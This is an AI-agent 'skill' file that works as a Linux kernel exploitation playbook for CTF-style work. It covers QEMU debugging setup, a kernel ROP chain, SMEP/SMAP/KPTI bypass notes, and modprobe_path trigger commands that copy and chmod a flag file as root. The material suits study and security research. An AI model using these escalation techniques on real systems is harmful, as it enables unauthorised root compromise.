ShulkwiSEC SKILL: Linux Kernel Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
0. RELATED ROUTING
- binary-protection-bypass — userspace protections (NX, ASLR) also apply in kernel context
- stack-overflow-and-rop — kernel ROP reuses many userspace ROP concepts
- heap-exploitation — kernel SLUB is conceptually related to userspace heap
- linux-privilege-escalation — non-exploit kernel privesc techniques
Advanced References
- KERNEL_MITIGATION_BYPASS.md — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
- KERNEL_HEAP_TECHNIQUES.md — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
1. EXPLOITATION MODEL
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘
2. ENVIRONMENT SETUP
QEMU + Custom Kernel
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# Boot with QEMU
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # GDB server on :1234, pause at start
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smap
GDB Debugging
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
initramfs Modification
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
3. COMMON VULNERABILITY TYPES
| Type | Description | Kernel Example |
|---|---|---|
| UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) |
| OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) |
| Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) |
| Integer Overflow | Size calculation wraps around | Various ioctl handlers |
| Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) |
| Double Free | Object freed twice | SLUB allocator exploitation |
| Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
4. PRIVILEGE ESCALATION TARGETS
Method 1: commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
Kernel ROP chain equivalent:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspace
Method 2: modprobe_path Overwrite
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
Method 3: cred Structure Direct Overwrite
If you can find the current task's cred pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
Method 4: Namespace Escape (Containers)
Overwrite init_nsproxy or manipulate namespace pointers to escape container isolation.
5. KERNEL ROP
Controlled RIP Sources
| Source | Mechanism |
|---|---|
| Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer |
| Corrupted return address | Kernel stack overflow (rare) |
Corrupted ops structure |
Module operations struct (file_operations, seq_operations) |
seq_operations Hijack (Common CTF Pattern)
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called
Stack Pivoting in Kernel
| Gadget | Usage |
|---|---|
xchg eax, esp; ret |
Pivot to address in lower 32 bits of RAX (mmap buffer at known addr) |
mov rsp, [rdi+X]; ... |
If RDI points to controlled data |
push rdi; pop rsp; ... |
Pivot to RDI (first arg of hijacked function) |
Important: After SMEP, cannot execute userspace code. ROP chain must use kernel gadgets only.
6. ret2usr (Pre-SMEP)
Directly call a userspace function from kernel context:
void escalate() {
commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory
Blocked by: SMEP (Supervisor Mode Execution Prevention) — kernel cannot execute user-mapped pages.
7. RETURNING TO USERSPACE
After privilege escalation in kernel, must return cleanly to userspace to get a root shell.
Via iretq (Traditional)
; ROP chain ending:
swapgs ; swap GS base back to userspace
iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
Via KPTI Trampoline (When KPTI Enabled)
KPTI separates kernel/user page tables. Direct swapgs; iretq crashes because user pages aren't mapped. Use the kernel's own return trampoline:
# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
Via signal Handler Return
Set up a signal handler before exploit. After commit_creds, trigger the signal → return to userspace via signal handler (avoids manual swapgs/iretq).
8. QEMU DEBUGGING TIPS
| Command | Purpose |
|---|---|
-s -S |
GDB server on :1234, paused |
-monitor /dev/null |
Disable QEMU monitor (cleaner output) |
-append "nokaslr" |
Disable KASLR for debugging |
-cpu kvm64,+smep,+smap |
Enable specific CPU features |
info registers (GDB) |
Show all register values |
maintenance packet Qqemu.PhyMemMode:1 |
Read physical memory in GDB |
cat /proc/kallsyms |
Kernel symbol addresses (if readable) |
cat /sys/kernel/notes |
Kernel build ID |
9. DECISION TREE
Kernel vulnerability identified
├── What type?
│ ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│ ├── OOB → determine read/write range, target adjacent objects
│ ├── Race condition → reliable trigger (userfaultfd, FUSE)
│ ├── Integer overflow → how does it translate to OOB or allocation confusion?
│ └── Type confusion → what can the confused type access?
│
├── Build primitive
│ ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│ ├── Arbitrary read? → leak KASLR base, then controlled RIP
│ ├── Arbitrary write? → modprobe_path overwrite (simplest)
│ │ or overwrite cred structure directly
│ └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│ ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│ ├── SMEP → kernel ROP only (no user code exec)
│ ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│ ├── KPTI → use KPTI trampoline for clean return
│ └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│ ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│ ├── Have arbitrary write only → modprobe_path overwrite
│ ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│ └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
├── KPTI disabled → swapgs; iretq (ROP ending)
├── KPTI enabled → jump to KPTI trampoline
└── Alternative → signal handler + process_one_work return path